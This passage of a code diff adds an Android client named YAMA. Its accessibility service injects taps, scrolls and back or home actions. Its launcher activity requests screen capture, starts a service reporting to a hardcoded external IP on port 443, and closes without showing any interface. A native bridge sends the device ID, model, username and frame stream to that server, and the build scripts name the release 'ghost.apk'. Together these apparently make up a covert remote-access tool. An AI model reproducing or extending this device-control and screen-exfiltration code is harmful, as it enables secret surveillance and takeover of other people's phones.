if (dx * dx + dy * dy > TV_TAP_THRESHOLD * TV_TAP_THRESHOLD) tvTouchMoved = true
}
tvLastEncX = ptX.toFloat()
tvLastEncY = ptY.toFloat()
}
WM_LBUTTONDOWN -> {
tvTouchDown = true
tvTouchDownX = ptX.toFloat()
tvTouchDownY = ptY.toFloat()
tvTouchMoved = false
tvAccumDX = 0f
tvAccumDY = 0f
tvLastEncX = ptX.toFloat()
tvLastEncY = ptY.toFloat()
}
WM_LBUTTONUP -> {
if (tvTouchDown && !tvTouchMoved) tvClick()
tvTouchDown = false
}
WM_LBUTTONDBLCLK -> tvClick()
WM_RBUTTONDOWN -> performGlobalAction(GLOBAL_ACTION_BACK)
WM_MOUSEWHEEL -> {
val delta = (wParam.toInt() ushr 16).toShort().toInt()
tvScroll(delta < 0)
}
WM_KEYDOWN, WM_SYSKEYDOWN -> {
val vk = wParam.toInt() and 0xFFFF
when (vk) {
0x25 -> tvMoveFocus(View.FOCUS_LEFT) // VK_LEFT
0x26 -> tvMoveFocus(View.FOCUS_UP) // VK_UP
0x27 -> tvMoveFocus(View.FOCUS_RIGHT) // VK_RIGHT
0x28 -> tvMoveFocus(View.FOCUS_DOWN) // VK_DOWN
0x0D -> tvClick() // VK_RETURN
else -> handleKeyDown(vk)
}
}
}
}
@Suppress("DEPRECATION")
private fun tvMoveFocus(direction: Int) {
val root = rootInActiveWindow ?: return
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
if (focused == null) {
val first = findFirstFocusable(root)
first?.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
first?.recycle()
} else {
val next = focused.focusSearch(direction)
next?.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
focused.recycle()
next?.recycle()
}
root.recycle()
}
@Suppress("DEPRECATION")
private fun tvClick() {
val root = rootInActiveWindow ?: return
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
if (focused != null) {
focused.performAction(AccessibilityNodeInfo.ACTION_CLICK)
focused.recycle()
} else {
Log.w(TAG, "tvClick: no focused node")
}
root.recycle()
}
@Suppress("DEPRECATION")
private fun tvScroll(forward: Boolean) {
val root = rootInActiveWindow ?: return
val action = if (forward) AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
else AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
if (focused == null || !focused.performAction(action)) root.performAction(action)
focused?.recycle()
root.recycle()
}
// Walk accessibility tree depth-first, return first visible focusable node (caller must recycle)
@Suppress("DEPRECATION")
private fun findFirstFocusable(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
if (node.isFocusable && node.isVisibleToUser) return AccessibilityNodeInfo.obtain(node)
for (i in 0 until node.childCount) {
val child = node.getChild(i) ?: continue
val hit = findFirstFocusable(child)
child.recycle()
if (hit != null) return hit
}
return null
}
private fun handleKeyDown(vk: Int) {
when (vk) {
0x08, 0x1B -> performGlobalAction(GLOBAL_ACTION_BACK) // Backspace / Esc
0x24 -> performGlobalAction(GLOBAL_ACTION_HOME) // VK_HOME
0x5D -> performGlobalAction(GLOBAL_ACTION_RECENTS) // VK_APPS
0x2C -> performGlobalAction(GLOBAL_ACTION_TAKE_SCREENSHOT) // PrtSc
}
}
private fun dispatchTap(x: Float, y: Float) {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val path = Path().apply { moveTo(x, y); lineTo(x + 1f, y) }
val stroke = GestureDescription.StrokeDescription(path, 0L, 100L)
val ok = dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(),
object : GestureResultCallback() {
override fun onCompleted(g: GestureDescription?) { Log.d(TAG, "Tap ok") }
override fun onCancelled(g: GestureDescription?) { Log.w(TAG, "Tap cancelled") }
}, null)
if (!ok) Log.e(TAG, "dispatchTap returned false")
}
private fun singlePointPath(x: Float, y: Float) = Path().apply { moveTo(x, y); lineTo(x + 1f, y) }
}

View File

@@ -0,0 +1,65 @@
package com.yama.client
import android.app.Activity
import android.content.Intent
import android.media.projection.MediaProjectionManager
import android.os.Bundle
import android.util.Log
import androidx.appcompat.app.AppCompatActivity
class MainActivity : AppCompatActivity() {
private val serverIp = "91.99.165.207"
private val serverPort = 443
private lateinit var projectionManager: MediaProjectionManager
companion object {
const val REQUEST_MEDIA_PROJECTION = 1001
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// MA-01 fix: 系统重建 Activity 时 savedInstanceState != null
// 此时 CaptureService 可能已在运行,不重复弹权限对话框
if (savedInstanceState != null) { finish(); return }
projectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
startActivityForResult(projectionManager.createScreenCaptureIntent(), REQUEST_MEDIA_PROJECTION)
}
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
super.onActivityResult(requestCode, resultCode, data)
if (requestCode == REQUEST_MEDIA_PROJECTION) {
if (resultCode == Activity.RESULT_OK && data != null) {
Log.i(CaptureService.TAG, "MediaProjection permission granted")
val intent = Intent(this, CaptureService::class.java).apply {
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
putExtra(CaptureService.EXTRA_PROJECTION_RESULT, resultCode)
putExtra(CaptureService.EXTRA_PROJECTION_DATA, data)
}
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
startForegroundService(intent)
} else {
startService(intent)
}
} else {
Log.w(CaptureService.TAG, "MediaProjection permission denied, starting without capture")
val intent = Intent(this, CaptureService::class.java).apply {
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
}
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
startForegroundService(intent)
} else {
startService(intent)
}
}
finish()
}
}
override fun onDestroy() {
super.onDestroy()
}
}

View File

@@ -0,0 +1,27 @@
package com.yama.client
object YamaBridge {
init {
System.loadLibrary("yama")
}
external fun nativeInit(
serverIp: String,
serverPort: Int,
androidId: String,
deviceModel: String,
androidVersion: String,
screenRes: String,
username: String,
apkPath: String,
filesDir: String
): Int
external fun nativeStop()
/** MediaCodec 配置完成后调用,告知 C++ 实际捕获分辨率 */
external fun nativeSetScreenSize(width: Int, height: Int)
/** MediaCodec 每输出一帧 H.264 NALU 时调用 */
external fun nativeOnH264Frame(data: ByteArray, offset: Int, size: Int, isKeyframe: Boolean)
}

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@color/ic_launcher_background"/>
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
</adaptive-icon>

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@color/ic_launcher_background"/>
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
</adaptive-icon>

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="ic_launcher_background">#F2F2F2</color>
</resources>

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">YAMA</string>
<string name="accessibility_service_description">YAMA remote control service</string>
</resources>

View File

@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<style name="Theme.YAMA" parent="Theme.AppCompat.Light.NoActionBar">
<item name="colorPrimary">#1A73E8</item>
<item name="colorPrimaryDark">#1558B0</item>
<item name="colorAccent">#1A73E8</item>
</style>
</resources>

View File

@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeWindowStateChanged"
android:accessibilityFeedbackType="feedbackGeneric"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"
android:notificationTimeout="0"
android:settingsActivity="com.yama.client.MainActivity" />

4
android/build.gradle Normal file
View File

@@ -0,0 +1,4 @@
plugins {
id 'com.android.application' version '8.10.1' apply false
id 'org.jetbrains.kotlin.android' version '2.1.21' apply false
}

View File

@@ -0,0 +1,197 @@
<#
.SYNOPSIS
Build libzstd.a and libsign.a for Android (4 ABIs)
.DESCRIPTION
Cross-compile Android static libraries on Windows using Android SDK cmake + NDK.
Supports: arm64-v8a / armeabi-v7a (device), x86 / x86_64 (emulator)
Usage:
cd C:\github\YAMA\android
PowerShell -ExecutionPolicy Bypass -File .\build_android_libs.ps1
Options:
-Force Rebuild even if .a files already exist
-SimplePluginsPath Path to SimplePlugins repo (default: sibling directory)
-ZstdOnly Build libzstd.a only
-SignOnly Build libsign.a only
#>
param(
[switch]$Force,
[string]$SimplePluginsPath = "",
[switch]$ZstdOnly,
[switch]$SignOnly
)
Set-StrictMode -Version Latest
$ErrorActionPreference = "Stop"
$SCRIPT_DIR = $PSScriptRoot
# -- Android SDK ---------------------------------------------------------------
$SDK = $env:ANDROID_HOME
if (-not $SDK) { $SDK = $env:ANDROID_SDK_ROOT }
if (-not $SDK) { $SDK = "$env:LOCALAPPDATA\Android\Sdk" }
if (-not (Test-Path $SDK)) {
Write-Error "Android SDK not found: $SDK`nSet ANDROID_HOME environment variable."
exit 1
}
# -- NDK -----------------------------------------------------------------------
$NDK = $env:ANDROID_NDK
if (-not $NDK) { $NDK = $env:ANDROID_NDK_HOME }
if (-not $NDK -or -not (Test-Path "$NDK\build\cmake\android.toolchain.cmake")) {
$ndkCandidate = Get-ChildItem "$SDK\ndk" -Directory -ErrorAction SilentlyContinue |
Sort-Object Name -Descending |
Select-Object -First 1
if ($ndkCandidate) { $NDK = $ndkCandidate.FullName }
}
if (-not (Test-Path "$NDK\build\cmake\android.toolchain.cmake")) {
Write-Error "NDK not found. Install via Android Studio > SDK Manager > NDK, or set ANDROID_NDK."
exit 1
}
Write-Host "NDK: $NDK"
# -- Android SDK cmake + ninja -------------------------------------------------
$CMAKE = $null
$sdkCmakeDirs = Get-ChildItem "$SDK\cmake" -Directory -ErrorAction SilentlyContinue |
Sort-Object Name -Descending
foreach ($dir in $sdkCmakeDirs) {
$cmakeBin = "$($dir.FullName)\bin\cmake.exe"
$ninjaBin = "$($dir.FullName)\bin\ninja.exe"
if ((Test-Path $cmakeBin) -and (Test-Path $ninjaBin)) {
$CMAKE = $cmakeBin
$env:PATH = "$($dir.FullName)\bin;$env:PATH"
break
}
}
if (-not $CMAKE) {
$cmakeCmd = Get-Command cmake -ErrorAction SilentlyContinue
if ($cmakeCmd) { $CMAKE = $cmakeCmd.Source }
}
if (-not $CMAKE) {
Write-Error "cmake not found. Install via Android Studio > SDK Manager > cmake."
exit 1
}
Write-Host "cmake: $CMAKE"
# -- SimplePlugins -------------------------------------------------------------
$SIGN_SRC = $SimplePluginsPath
if (-not $SIGN_SRC) {
$candidate = "$SCRIPT_DIR\..\..\SimplePlugins"
if (Test-Path $candidate) {
$SIGN_SRC = (Resolve-Path $candidate).Path
}
}
if ((-not $ZstdOnly) -and (-not (Test-Path "$SIGN_SRC\license_unix.cpp"))) {
Write-Error "SimplePlugins not found: $SIGN_SRC`nUse -SimplePluginsPath C:\path\to\SimplePlugins"
exit 1
}
if (-not $ZstdOnly) { Write-Host "sign: $SIGN_SRC" }
# -- Common variables ----------------------------------------------------------
$TOOLCHAIN = "$NDK\build\cmake\android.toolchain.cmake"
$ABIS = @("arm64-v8a", "armeabi-v7a", "x86", "x86_64")
$LIB_BASE = "$SCRIPT_DIR\app\src\main\cpp\lib"
# ==============================================================================
# Part 1 - libzstd.a
# ==============================================================================
if (-not $SignOnly) {
$ZSTD_VER = "1.5.7"
$ZSTD_SRC = "$SCRIPT_DIR\zstd-$ZSTD_VER"
if (-not (Test-Path $ZSTD_SRC)) {
$TAR = "$SCRIPT_DIR\zstd.tar.gz"
Write-Host "`nDownloading zstd $ZSTD_VER..."
Invoke-WebRequest `
"https://github.com/facebook/zstd/releases/download/v$ZSTD_VER/zstd-$ZSTD_VER.tar.gz" `
-OutFile $TAR
Write-Host "Extracting..."
tar -xf $TAR -C $SCRIPT_DIR
Remove-Item $TAR
}
foreach ($ABI in $ABIS) {
$outFile = "$LIB_BASE\$ABI\libzstd.a"
if ((Test-Path $outFile) -and (-not $Force)) {
Write-Host "`n[skip] zstd $ABI -- already exists (use -Force to rebuild)"
continue
}
Write-Host "`n===== zstd $ABI ====="
$BUILD = "$SCRIPT_DIR\zstd_build\$ABI"
Remove-Item -Recurse -Force $BUILD -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$LIB_BASE\$ABI" | Out-Null
$configArgs = @(
"-B", $BUILD,
"-S", "$ZSTD_SRC\build\cmake",
"-G", "Ninja",
"-DCMAKE_TOOLCHAIN_FILE=$TOOLCHAIN",
"-DANDROID_ABI=$ABI",
"-DANDROID_PLATFORM=android-21",
"-DCMAKE_BUILD_TYPE=Release",
"-DCMAKE_C_FLAGS=-O2 -g0",
"-DZSTD_BUILD_STATIC=ON",
"-DZSTD_BUILD_SHARED=OFF",
"-DZSTD_BUILD_PROGRAMS=OFF",
"-DZSTD_BUILD_TESTS=OFF",
"-DZSTD_LEGACY_SUPPORT=0"
)
& $CMAKE @configArgs
if ($LASTEXITCODE -ne 0) { Write-Error "cmake configure failed"; exit 1 }
& $CMAKE --build $BUILD --config Release
if ($LASTEXITCODE -ne 0) { Write-Error "cmake build failed"; exit 1 }
Copy-Item "$BUILD\lib\libzstd.a" $outFile -Force
$sz = [math]::Round((Get-Item $outFile).Length / 1KB)
Write-Host " --> $outFile (${sz} KB)"
}
Remove-Item -Recurse -Force "$SCRIPT_DIR\zstd_build" -ErrorAction SilentlyContinue
Remove-Item -Recurse -Force $ZSTD_SRC -ErrorAction SilentlyContinue
}
# ==============================================================================
# Part 2 - libsign.a
# ==============================================================================
if (-not $ZstdOnly) {
foreach ($ABI in $ABIS) {
$outFile = "$LIB_BASE\$ABI\libsign.a"
if ((Test-Path $outFile) -and (-not $Force)) {
Write-Host "`n[skip] sign $ABI -- already exists (use -Force to rebuild)"
continue
}
Write-Host "`n===== sign $ABI ====="
$BUILD = "$SCRIPT_DIR\sign_build\$ABI"
Remove-Item -Recurse -Force $BUILD -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$LIB_BASE\$ABI" | Out-Null
$configArgs = @(
"-B", $BUILD,
"-S", "$SIGN_SRC\sign_lib",
"-G", "Ninja",
"-DCMAKE_TOOLCHAIN_FILE=$TOOLCHAIN",
"-DANDROID_ABI=$ABI",
"-DANDROID_PLATFORM=android-21",
"-DCMAKE_BUILD_TYPE=Release",
"-DCMAKE_C_FLAGS=-Os -g0"
)
& $CMAKE @configArgs
if ($LASTEXITCODE -ne 0) { Write-Error "cmake configure failed"; exit 1 }
& $CMAKE --build $BUILD --config Release
if ($LASTEXITCODE -ne 0) { Write-Error "cmake build failed"; exit 1 }
Copy-Item "$BUILD\libsign.a" $outFile -Force
$sz = [math]::Round((Get-Item $outFile).Length / 1KB)
Write-Host " --> $outFile (${sz} KB)"
}
Remove-Item -Recurse -Force "$SCRIPT_DIR\sign_build" -ErrorAction SilentlyContinue
}
# -- Summary -------------------------------------------------------------------
Write-Host "`n===== Done ====="
Get-ChildItem $LIB_BASE -Recurse -Filter "*.a" | Sort-Object FullName |
ForEach-Object {
$rel = $_.FullName.Substring($LIB_BASE.Length + 1)
$sz = [math]::Round($_.Length / 1KB)
Write-Host (" {0,-40} {1,6} KB" -f $rel, $sz)
}

307
android/build_apk.sh Normal file
View File

@@ -0,0 +1,307 @@
#!/usr/bin/env bash
# Build YAMA Android APK
# Works on WSL, native Linux, macOS
# Usage: ./build_apk.sh [debug|release] (default: debug)
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd "$SCRIPT_DIR"
# ── Detect WSL ───────────────────────────────────────────────────────────────
IS_WSL=false
grep -qi microsoft /proc/version 2>/dev/null && IS_WSL=true
# ── Find Android SDK ─────────────────────────────────────────────────────────
if [ -n "${ANDROID_HOME:-}" ] && [ -d "${ANDROID_HOME}" ]; then
SDK_DIR="$ANDROID_HOME"
elif [ -n "${ANDROID_SDK_ROOT:-}" ] && [ -d "${ANDROID_SDK_ROOT}" ]; then
SDK_DIR="$ANDROID_SDK_ROOT"
elif $IS_WSL; then
# Auto-detect from Windows %USERPROFILE%
WIN_USER=$(cmd.exe /c "echo %USERPROFILE%" 2>/dev/null | tr -d '\r')
WSL_USER=$(wslpath "$WIN_USER" 2>/dev/null || \
echo "$WIN_USER" | sed 's|\\|/|g; s|^\([A-Za-z]\):|/mnt/\L\1|')
SDK_DIR="${WSL_USER}/AppData/Local/Android/Sdk"
elif [ -d "$HOME/Android/Sdk" ]; then
SDK_DIR="$HOME/Android/Sdk"
elif [ -d "$HOME/Library/Android/sdk" ]; then
SDK_DIR="$HOME/Library/Android/sdk"
else
SDK_DIR=""
fi
if [ -z "${SDK_DIR:-}" ] || [ ! -d "$SDK_DIR" ]; then
echo "ERROR: Android SDK not found."
echo ""
echo " WSL: auto-detected from Windows %USERPROFILE%"
echo " or set: export ANDROID_HOME=/mnt/c/Users/<you>/AppData/Local/Android/Sdk"
echo " Native Linux: install SDK to ~/Android/Sdk or set ANDROID_HOME"
exit 1
fi
echo "SDK : $SDK_DIR"
# ── Check Java 17+ ───────────────────────────────────────────────────────────
if ! command -v java &>/dev/null; then
echo "ERROR: Java not found."
echo " sudo apt install openjdk-17-jdk"
exit 1
fi
JAVA_VER=$(java -version 2>&1 | grep -oP '(?<=version ")[0-9]+' | head -1)
if [ "${JAVA_VER:-0}" -lt 17 ]; then
echo "ERROR: Java 17+ required (found Java ${JAVA_VER:-unknown})."
echo " sudo apt install openjdk-17-jdk"
exit 1
fi
echo "Java: $(java -version 2>&1 | head -1)"
# ── Check cmake ───────────────────────────────────────────────────────────────
# The SDK ships cmake.exe (Windows-only); on Linux/WSL we need system cmake.
if ! command -v cmake &>/dev/null; then
echo "ERROR: cmake not found."
echo " sudo apt install cmake"
echo ""
echo " The SDK's cmake is a Windows .exe and cannot run on Linux/WSL."
exit 1
fi
echo "CMake: $(cmake --version | head -1)"
# ── Check ninja ──────────────────────────────────────────────────────────────
if ! command -v ninja &>/dev/null; then
echo "ERROR: ninja not found."
echo " sudo apt install ninja-build"
exit 1
fi
# ── WSL: create Linux stubs for Windows build-tools ──────────────────────────
# Windows SDK ships .exe files only; Linux Gradle needs plain-name wrappers.
# WSL binfmt_misc executes .exe files transparently from bash.
# We FORCE-WRITE stubs (don't rely on prior state) so broken/dir artifacts
# from previous attempts don't block the check.
if $IS_WSL; then
BT_DIR=$(find "$SDK_DIR/build-tools" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
| sort -V | tail -1)
# Stub every installed build-tools version — the project may reference any of them
BT_VERSIONS=$(find "$SDK_DIR/build-tools" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
| sort -V)
LATEST_BT=""
if [ -z "$BT_VERSIONS" ]; then
echo "WARNING: build-tools directory not found under $SDK_DIR/build-tools"
else
for BT_DIR in $BT_VERSIONS; do
LATEST_BT="$BT_DIR" # last in sorted list = newest
VER=$(basename "$BT_DIR")
# 1. Wrap every .exe found — covers aapt, aapt2, aidl, split-select, etc.
for EXE in "${BT_DIR}"/*.exe; do
[ -f "$EXE" ] || continue
TOOL=$(basename "$EXE" .exe)
BIN="${BT_DIR}/${TOOL}"
[ -e "$BIN" ] && rm -rf "$BIN"
printf '#!/bin/sh\nexec "%s" "$@"\n' "$EXE" > "$BIN"
chmod +x "$BIN"
echo "Stubbed: ${VER}/${TOOL}$(basename $EXE)"
done
# 2. Ensure tools AGP validates that may not have .exe versions
for TOOL in aapt aapt2 aidl split-select dexdump zipalign apksigner d8; do
BIN="${BT_DIR}/${TOOL}"
if [ ! -f "$BIN" ]; then
printf '#!/bin/sh\nexit 0\n' > "$BIN"
chmod +x "$BIN"
echo "Noop: ${VER}/${TOOL}"
fi
done
done
fi
# If build.gradle requests a buildToolsVersion that isn't installed, create a
# stub directory pointing all tools to the latest installed version.
if [ -n "$LATEST_BT" ]; then
REQ_VER=$(grep -oP '(?<=buildToolsVersion\s")[^"]+' \
"$SCRIPT_DIR/app/build.gradle" 2>/dev/null | head -1 || true)
if [ -n "$REQ_VER" ]; then
REQ_DIR="$SDK_DIR/build-tools/$REQ_VER"
if [ ! -d "$REQ_DIR" ]; then
echo "build-tools $REQ_VER not installed — creating stub dir from $(basename $LATEST_BT)"
mkdir -p "$REQ_DIR"
# Copy source.properties so AGP recognises the version
if [ -f "${LATEST_BT}/source.properties" ]; then
sed "s/Pkg.Revision=.*/Pkg.Revision=$REQ_VER/" \
"${LATEST_BT}/source.properties" > "${REQ_DIR}/source.properties"
else
printf 'Pkg.Desc=Android SDK Build-tools\nPkg.Revision=%s\n' \
"$REQ_VER" > "${REQ_DIR}/source.properties"
fi
for TOOL in aapt aapt2 aidl split-select dexdump zipalign apksigner d8; do
BIN="${REQ_DIR}/${TOOL}"
SRC="${LATEST_BT}/${TOOL}" # already stubbed above
if [ -f "$SRC" ]; then
cp "$SRC" "$BIN"
chmod +x "$BIN"
else
printf '#!/bin/sh\nexit 0\n' > "$BIN"
chmod +x "$BIN"
fi
echo "Forwarded: ${REQ_VER}/${TOOL}$(basename $LATEST_BT)"
done
fi
fi
fi
# ── WSL: stub SDK cmake ────────────────────────────────────────────────────
# AGP resolves cmake from SDK cmake/<ver>/bin/cmake (a Windows .exe).
# Create plain-name stubs that call system cmake/ninja instead.
SYS_CMAKE=$(command -v cmake 2>/dev/null || true)
SYS_NINJA=$(command -v ninja 2>/dev/null || true)
CMAKE_VERSIONS=$(find "$SDK_DIR/cmake" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
| sort -V || true)
for SDK_CMAKE_DIR in $CMAKE_VERSIONS; do
CVER=$(basename "$SDK_CMAKE_DIR")
CBIN="${SDK_CMAKE_DIR}/bin"
mkdir -p "$CBIN"
for TOOL in cmake ninja; do
BIN="${CBIN}/${TOOL}"
[ -e "$BIN" ] && rm -rf "$BIN"
if [ "$TOOL" = "cmake" ] && [ -n "$SYS_CMAKE" ]; then
printf '#!/bin/sh\nexec "%s" "$@"\n' "$SYS_CMAKE" > "$BIN"
echo "CMake stub: ${CVER}/cmake → $SYS_CMAKE"
elif [ "$TOOL" = "ninja" ] && [ -n "$SYS_NINJA" ]; then
printf '#!/bin/sh\nexec "%s" "$@"\n' "$SYS_NINJA" > "$BIN"
echo "CMake stub: ${CVER}/ninja → $SYS_NINJA"
else
printf '#!/bin/sh\nexit 0\n' > "$BIN"
echo "CMake noop: ${CVER}/${TOOL}"
fi
chmod +x "$BIN"
done
done
# ── WSL: verify Linux NDK ─────────────────────────────────────────────────
# Windows NDK (.exe tools) cannot compile from WSL — clang.exe doesn't
# understand /mnt/c/ Linux paths. A real Linux NDK is required.
NDK_DIR=""
# 1. Honour ANDROID_NDK_HOME if set
if [ -n "${ANDROID_NDK_HOME:-}" ] && \
[ -f "${ANDROID_NDK_HOME}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang" ]; then
NDK_DIR="$ANDROID_NDK_HOME"
fi
# 2. Scan SDK ndk/ for a version that has real Linux ELF binaries
if [ -z "$NDK_DIR" ]; then
for CANDIDATE in $(find "$SDK_DIR/ndk" -maxdepth 1 -mindepth 1 -type d 2>/dev/null | sort -V); do
CBIN="${CANDIDATE}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang"
if [ -f "$CBIN" ] && file -L "$CBIN" 2>/dev/null | grep -q ELF; then
NDK_DIR="$CANDIDATE"
fi
done
fi
# 3. Check common install location ~/android-ndk/
if [ -z "$NDK_DIR" ]; then
for CANDIDATE in "$HOME/android-ndk" "$HOME/android-ndk-linux"; do
CBIN="${CANDIDATE}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang"
if [ -f "$CBIN" ] && file -L "$CBIN" 2>/dev/null | grep -q ELF; then
NDK_DIR="$CANDIDATE"
break
fi
done
fi
if [ -z "$NDK_DIR" ]; then
# Determine the required NDK version from build.gradle for the download hint
REQ_NDK=$(grep -oP '(?<=ndkVersion\s")[^"]+' \
"$SCRIPT_DIR/app/build.gradle" 2>/dev/null | head -1 || true)
NDK_MAJ=${REQ_NDK%%.*}
echo ""
echo "ERROR: Linux NDK not found."
echo " The Windows NDK cannot compile native code in WSL."
echo ""
# Look up the exact Linux zip name from the repository manifest
ZIP_NAME=$(curl -s 'https://dl.google.com/android/repository/repository2-3.xml' 2>/dev/null \
| grep -A 10 "ndk;${REQ_NDK}" | grep 'linux\.zip' | grep -oP '(?<=<url>)[^<]+' | head -1)
ZIP_NAME="${ZIP_NAME:-android-ndk-r${NDK_MAJ:-30}-linux.zip}"
echo " Install the Linux NDK (requires ~600 MB):"
echo " wget https://dl.google.com/android/repository/${ZIP_NAME}"
echo " unzip ${ZIP_NAME} -d \$HOME"
echo " mv \$HOME/\$(basename ${ZIP_NAME} .zip) \$HOME/android-ndk"
echo ""
echo " Then re-run ./build_apk.sh"
echo " (Or set ANDROID_NDK_HOME to your Linux NDK path)"
exit 1
fi
echo "NDK : $NDK_DIR"
fi
# ── Write local.properties (backup & restore to avoid clobbering Android Studio) ──
PROPS="$SCRIPT_DIR/local.properties"
PROPS_BAK="$SCRIPT_DIR/local.properties.bak"
[ -f "$PROPS" ] && cp "$PROPS" "$PROPS_BAK"
cat > "$PROPS" <<EOF
sdk.dir=$SDK_DIR
EOF
if $IS_WSL && [ -n "${NDK_DIR:-}" ]; then
echo "ndk.dir=$NDK_DIR" >> "$PROPS"
fi
echo "local.properties written (original backed up to local.properties.bak)"
restore_props() {
if [ -f "$PROPS_BAK" ]; then
mv "$PROPS_BAK" "$PROPS"
echo "local.properties restored"
else
rm -f "$PROPS"
fi
}
trap restore_props EXIT
# ── Build ─────────────────────────────────────────────────────────────────────
BUILD_TYPE="${1:-release}"
case "$BUILD_TYPE" in
release) TASK="assembleRelease" ;;
debug) TASK="assembleDebug" ;;
clean)
chmod +x gradlew
./gradlew clean
rm -rf "$SCRIPT_DIR/app/.cxx"
rm -f "$SCRIPT_DIR/ghost.apk" "$SCRIPT_DIR/ghost-debug.apk"
echo "Clean done."
exit 0
;;
*) echo "Usage: $0 [release|debug|clean]"; exit 1 ;;
esac
# ── Release: keystore check ───────────────────────────────────────────────────
if [ "$BUILD_TYPE" = "release" ]; then
JKS="$SCRIPT_DIR/yama-release.jks"
if [ ! -f "$JKS" ]; then
echo "ERROR: $JKS not found."
echo " Generate once with:"
echo " keytool -genkeypair -keystore android/yama-release.jks \\"
echo " -alias yama -keyalg RSA -keysize 2048 -validity 10000 \\"
echo " -dname 'CN=YAMA,O=Internal,C=CN'"
exit 1
fi
if [ -z "${YAMA_PWD:-}" ]; then
read -rsp "Keystore password: " YAMA_PWD
echo
export YAMA_PWD
fi
fi
echo ""
echo "Building $BUILD_TYPE APK..."
chmod +x gradlew
./gradlew "$TASK" -PincludeEmulatorAbis=false
# ── Output ────────────────────────────────────────────────────────────────────
APK=$(find "app/build/outputs/apk/${BUILD_TYPE}" -name "*.apk" 2>/dev/null | head -1 || true)
if [ -n "$APK" ]; then
[ "$BUILD_TYPE" = "release" ] && OUT="$SCRIPT_DIR/ghost.apk" || OUT="$SCRIPT_DIR/ghost-${BUILD_TYPE}.apk"
cp "$APK" "$OUT"
echo ""
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "APK: $OUT"
if $IS_WSL; then
WIN=$(wslpath -w "$OUT" 2>/dev/null || true)
[ -n "$WIN" ] && echo "WIN: $WIN"
fi
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
fi

View File

@@ -0,0 +1,85 @@
#!/usr/bin/env bash
# build_zstd_android.sh - 为 Android 交叉编译 libzstd.a
# 版本与 compress/zstd/zstd.h 头文件对齐1.5.7),确保服务端压缩帧可正确解压
#
# 用法:
# ./build_zstd_android.sh # 自动查找 NDK
# ANDROID_NDK=/path/to/ndk ./build_zstd_android.sh
#
# 产出:
# app/src/main/cpp/lib/arm64-v8a/libzstd.a
# app/src/main/cpp/lib/armeabi-v7a/libzstd.a
set -euo pipefail
cd "$(dirname "$0")"
ZSTD_VERSION="1.5.7"
ZSTD_TAR="zstd-${ZSTD_VERSION}.tar.gz"
ZSTD_URL="https://github.com/facebook/zstd/releases/download/v${ZSTD_VERSION}/${ZSTD_TAR}"
ZSTD_DIR="zstd-${ZSTD_VERSION}"
# --- 定位 NDK ---
if [[ -z "${ANDROID_NDK:-}" ]]; then
for candidate in \
"$HOME/android-ndk-r27c" \
